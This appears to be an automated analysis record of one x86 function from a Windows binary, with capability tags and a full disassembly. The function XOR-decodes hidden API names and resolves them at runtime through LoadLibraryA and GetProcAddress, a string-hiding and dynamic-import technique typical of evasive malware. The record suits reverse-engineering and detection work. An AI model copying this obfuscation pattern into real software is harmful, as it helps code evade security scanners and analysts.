Function at 0x41f249
Capabilities:
Encode data using xor
Link many functions at runtime
Set current directory

Disassembly:
mov eax, 0x469b8e
call fcn.00468300
sub esp, 0x17c
cmp byte [0x48cc3c], 0
push ebx
push esi
push edi
mov edi, ecx
jne 0x41fa22
xor ebx, ebx
mov dword [ebp - 0x12], 0xdec7dc4d
mov cl, 0x4d
mov word [ebp - 0xe], 0xde
mov edx, ebx
not cl
xor byte [ebp + edx - 0x11], cl
inc edx
cmp edx, 4
jae 0x41f28f
mov cl, byte [ebp - 0x12]
jmp 0x41f27e
lea edx, [ebp - 0x11]
mov byte [ebp - 0xd], bl
mov ecx, edi
call fcn.0041480e
xor ecx, ecx
inc ecx
test al, al
jne 0x41f9e6
cmp dword [0x488bcc], 0x10
mov edx, 0x488bb8
mov ecx, 0x488ab0
cmovae edx, dword [0x488bb8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov byte [ebp - 0x5c], bl
lea edx, [ebp - 0x10]
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x10], eax
call fcn.0041aa18
pop ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], ebx
call fcn.004163ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
mov bl, al
call fcn.00413c2d
test bl, bl
jne 0x41f52f
cmp dword [0x488ac4], 0x10
mov ebx, 0x488ab0
mov esi, ebx
cmovae esi, dword [0x488ab0]
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
and dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
and dword [ebp - 0x48], 0
push eax
mov dword [ebp - 0x44], 0xf
call fcn.00413e6c
lea ecx, [ebp - 0x58]
call fcn.004167f7
lea ecx, [ebp - 0x58]
call fcn.00413e0b
cmp dword [0x4888fc], 0x10
mov edx, 0x4888e8
mov ecx, ebx
cmovae edx, dword [0x4888e8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
push 0xf
xor ebx, ebx
lea ecx, [ebp - 0x58]
pop esi
mov dword [ebp - 0x58], ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], esi
mov byte [ebp - 0x58], bl
call fcn.00413e6c
mov dword [ebp - 4], 1
cmp dword [edi + 0x14], 0x10
jb 0x41f3c4
mov edi, dword [edi]
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x24]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
mov byte [ebp - 0x24], bl
call fcn.00413e6c
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x24]
call fcn.00434760
lea ecx, [ebp - 0x24]
call fcn.00413e0b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00413e0b
cmp dword [0x488ac4], 0x10
mov edi, 0x488ab0
mov esi, edi
cmovae esi, dword [0x488ab0]
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp dword [0x4888fc], 0x10
mov edx, 0x4888e8
mov ecx, edi
cmovae edx, dword [0x4888e8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
push ecx
push ecx
mov ecx, eax
call fcn.0041f0d4
mov esi, eax
or edx, 0xffffffff
lea eax, [ebp - 0x188]
mov ecx, esi
push eax
call fcn.0041f158
mov eax, dword [ebp - 0x188]
add esp, 0xc
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x41f4b4
lea eax, [ebp - 0x188]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041f158
push ecx
lea eax, [ebp - 0x184]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041f194
add esp, 0xc
inc ebx
cmp ebx, dword [ebp - 0x10]
jl 0x41f48a
test esi, esi
je 0x41f4c6
cmp dword [esi], 1
jne 0x41f4c6
mov ecx, esi
call fcn.0041f1c3
jmp 0x41f4cd
mov ecx, esi
call fcn.0043f0e7
cmp dword [0x4888fc], 0x10
mov edx, 0x4888e8
mov ecx, edi
cmovae edx, dword [0x4888e8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
and dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
and dword [ebp - 0x48], 0
push eax
mov dword [ebp - 0x44], 0xf
call fcn.00413e6c
lea ecx, [ebp - 0x58]
call fcn.0040c96c
lea ecx, [ebp - 0x58]
call fcn.00413e0b
jmp 0x41f534
mov edi, 0x488ab0
cmp dword [0x488bcc], 0x10
mov edx, 0x488bb8
mov ecx, edi
cmovae edx, dword [0x488bb8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x5c]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x5c], eax
call fcn.0041aa18
pop ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 3
call fcn.004163ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
mov bl, al
call fcn.00413c2d
test bl, bl
je 0x41f9e1
cmp dword [0x488bcc], 0x10
mov edx, 0x488bb8
mov ecx, edi
cmovae edx, dword [0x488bb8]
cmp dword [0x488ac4], 0x10
cmovae ecx, dword [0x488ab0]
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x5c]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x5c], eax
call fcn.0041aa18
pop ecx
push 4
pop esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], esi
call fcn.0041636a
test edx, edx
jne 0x41f612
cmp eax, 0x19000
ja 0x41f612
xor bl, bl
jmp 0x41f614
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00413c2d
xor ecx, ecx
test bl, bl
je 0x41f9e3
mov al, 0x43
mov dword [ebp - 0x12], 0xe8fdec43
mov word [ebp - 0xe], 0xf4
not al
xor byte [ebp + ecx - 0x11], al
inc ecx
cmp ecx, esi
jae 0x41f649
mov al, byte [ebp - 0x12]
jmp 0x41f639
lea eax, [ebp - 0x11]
mov byte [ebp - 0xd], 0
push eax
call fcn.004472c1
mov ebx, eax
pop ecx
test ebx, ebx
je 0x41f6d4
cmp dword [0x488ac4], 0x10
mov esi, edi
cmovae esi, dword [0x488ab0]
call fcn.00435f38
push 0
mov edx, esi
mov ecx, eax
call fcn.00435a97
push eax
push 0x479de4
push ebx
call fcn.00436205
add esp, 0x10
mov dword [ebp - 0x13], 0xd1c4d57a
xor ebx, ebx
mov word [ebp - 0xf], 0xb8cd
mov esi, eax
mov byte [ebp - 0xd], bl
mov dl, 0x7a
mov ecx, ebx
not dl
xor byte [ebp + ecx - 0x12], dl
inc ecx
cmp ecx, 5
jae 0x41f6b5
mov dl, byte [ebp - 0x13]
jmp 0x41f6a4
push ebx
lea eax, [ebp - 0x12]
mov byte [ebp - 0xd], bl
push esi
push eax
call fcn.00436205
push eax
call fcn.0044b4e1
push esi
call fcn.0044087f
add esp, 0x14
jmp 0x41f6d6
xor ebx, ebx
cmp dword [0x488bcc], 0x10
mov edx, 0x488bb8
cmovae edx, dword [0x488bb8]
cmp dword [0x488ac4], 0x10
cmovae edi, dword [0x488ab0]
mov ecx, edi
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x41fa5d
mov byte [0x48cc3c], 1
mov al, 0x4c
mov dword [ebp - 0x16], 0xe0e0fd4c
mov ecx, ebx
mov dword [ebp - 0x12], 0xdaddfaec
mov word [ebp - 0xe], 0xc7
not al
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 8
jae 0x41f74f
mov al, byte [ebp - 0x16]
jmp 0x41f73e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x15]
push eax
push esi
mov byte [ebp - 0xd], bl
call edi
mov dword [0x48cc40], eax
mov ecx, ebx
mov al, 0x15
mov dword [ebp - 0x1a], 0xb9b9a415
mov dword [ebp - 0x16], 0x9f82b9b5
mov dword [ebp - 0x12], 0x9d858e9e
mov word [ebp - 0xe], 0x84
not al
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jae 0x41f794
mov al, byte [ebp - 0x1a]
jmp 0x41f783
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e5f0]
mov ecx, ebx
mov dword [0x48cc5c], eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x8995bb9c
mov dword [ebp - 0x44], 0x849f9ca3
mov byte [ebp - 0x40], bl
mov al, byte [ebp - 0x58]
not al
xor byte [ebp + ecx - 0x57], al
inc ecx
cmp ecx, 0x17
jb 0x41f7c1
lea eax, [ebp - 0x57]
mov byte [ebp - 0x40], bl
push eax
push esi
call edi
mov dword [0x48cc60], eax
mov ecx, ebx
mov al, 0x75
mov dword [ebp - 0x1b], 0xbbc1da75
mov dword [ebp - 0x17], 0xf8ccd5bb
mov dword [ebp - 0x13], 0xe6d9efef
mov word [ebp - 0xf], 0xfee5
mov byte [ebp - 0xd], bl
not al
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jae 0x41f812
mov al, byte [ebp - 0x1b]
jmp 0x41f801
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xd], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e7d0]
mov ecx, ebx
mov dword [0x48cc50], eax
movups xmmword [ebp - 0x37], xmm0
mov word [ebp - 0x27], 0xd5c4
mov byte [ebp - 0x25], bl
mov al, byte [ebp - 0x37]
not al
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0x11
jb 0x41f837
lea eax, [ebp - 0x36]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e9f0]
mov ecx, ebx
mov dword [0x48cc4c], eax
movups xmmword [ebp - 0x35], xmm0
mov byte [ebp - 0x25], bl
mov al, byte [ebp - 0x35]
not al
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xf
jb 0x41f865
lea eax, [ebp - 0x34]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
mov dword [0x48cc48], eax
mov cl, 0x5d
mov dword [ebp - 0x1a], 0xced3d15d
mov eax, ebx
mov dword [ebp - 0x16], 0x91c7d6cb
mov dword [ebp - 0x12], 0xc7d2cdfd
mov word [ebp - 0xe], 0xcc
not cl
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 0xc
jae 0x41f8b3
mov cl, byte [ebp - 0x1a]
jmp 0x41f8a2
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e620]
mov ecx, ebx
mov dword [0x48cc34], eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0xcb8fa6
mov al, byte [ebp - 0x38]
not al
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x12
jb 0x41f8d6
lea eax, [ebp - 0x37]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
push 0x4d
pop ecx
mov dword [0x48cc44], eax
mov eax, ebx
mov byte [ebp - 0x1a], cl
mov dword [ebp - 0x19], 0xdbdec3c1
mov dword [ebp - 0x15], 0xed81d7c6
mov dword [ebp - 0x11], 0xc2d7c6c1
mov byte [ebp - 0xd], bl
not cl
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 0xc
jae 0x41f925
mov cl, byte [ebp - 0x1a]
jmp 0x41f914
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e810]
mov ecx, ebx
mov dword [0x48cc38], eax
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0xfff3eeff
mov byte [ebp - 0x25], bl
mov al, byte [ebp - 0x39]
not al
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x13
jb 0x41f94b
lea eax, [ebp - 0x38]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47e5d0]
mov ecx, ebx
mov dword [0x48cc58], eax
movups xmmword [ebp - 0x36], xmm0
mov word [ebp - 0x26], 0x93
mov al, byte [ebp - 0x36]
not al
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0x10
jb 0x41f97c
lea eax, [ebp - 0x35]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
mov dword [0x48cc64], eax
mov cl, 0x48
mov dword [ebp - 0x33], 0xdbc6c448
mov eax, ebx
mov dword [ebp - 0x2f], 0x84d2c3de
mov dword [ebp - 0x2b], 0xd8dbd4e8
mov word [ebp - 0x27], 0xd2c4
mov byte [ebp - 0x25], bl
not cl
xor byte [ebp + eax - 0x32], cl
inc eax
cmp eax, 0xd
jae 0x41f9cd
mov cl, byte [ebp - 0x33]
jmp 0x41f9bc
lea eax, [ebp - 0x32]
mov byte [ebp - 0x25], bl
push eax
push esi
call edi
xor ecx, ecx
mov dword [0x48cc54], eax
inc ecx
jmp 0x41f9e6
xor ecx, ecx
inc ecx
xor ebx, ebx
cmp dword [0x48cc40], 0
je 0x41fa1c
cmp dword [0x48cc5c], 0
je 0x41fa1c
cmp dword [0x48cc60], 0
je 0x41fa1c
cmp dword [0x48cc4c], 0
je 0x41fa1c
cmp dword [0x48cc48], 0
je 0x41fa1c
cmp dword [0x48cc50], 0
jne 0x41fa1e
mov ecx, ebx
mov eax, ecx
jmp 0x41fa5f
cmp dword [0x48cc40], 0
je 0x41fa5d
cmp dword [0x48cc5c], 0
je 0x41fa5d
cmp dword [0x48cc60], 0
je 0x41fa5d
cmp dword [0x48cc4c], 0
je 0x41fa5d
cmp dword [0x48cc48], 0
je 0x41fa5d
cmp dword [0x48cc50], 0
je 0x41fa5d
xor eax, eax
inc eax
jmp 0x41fa5f
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret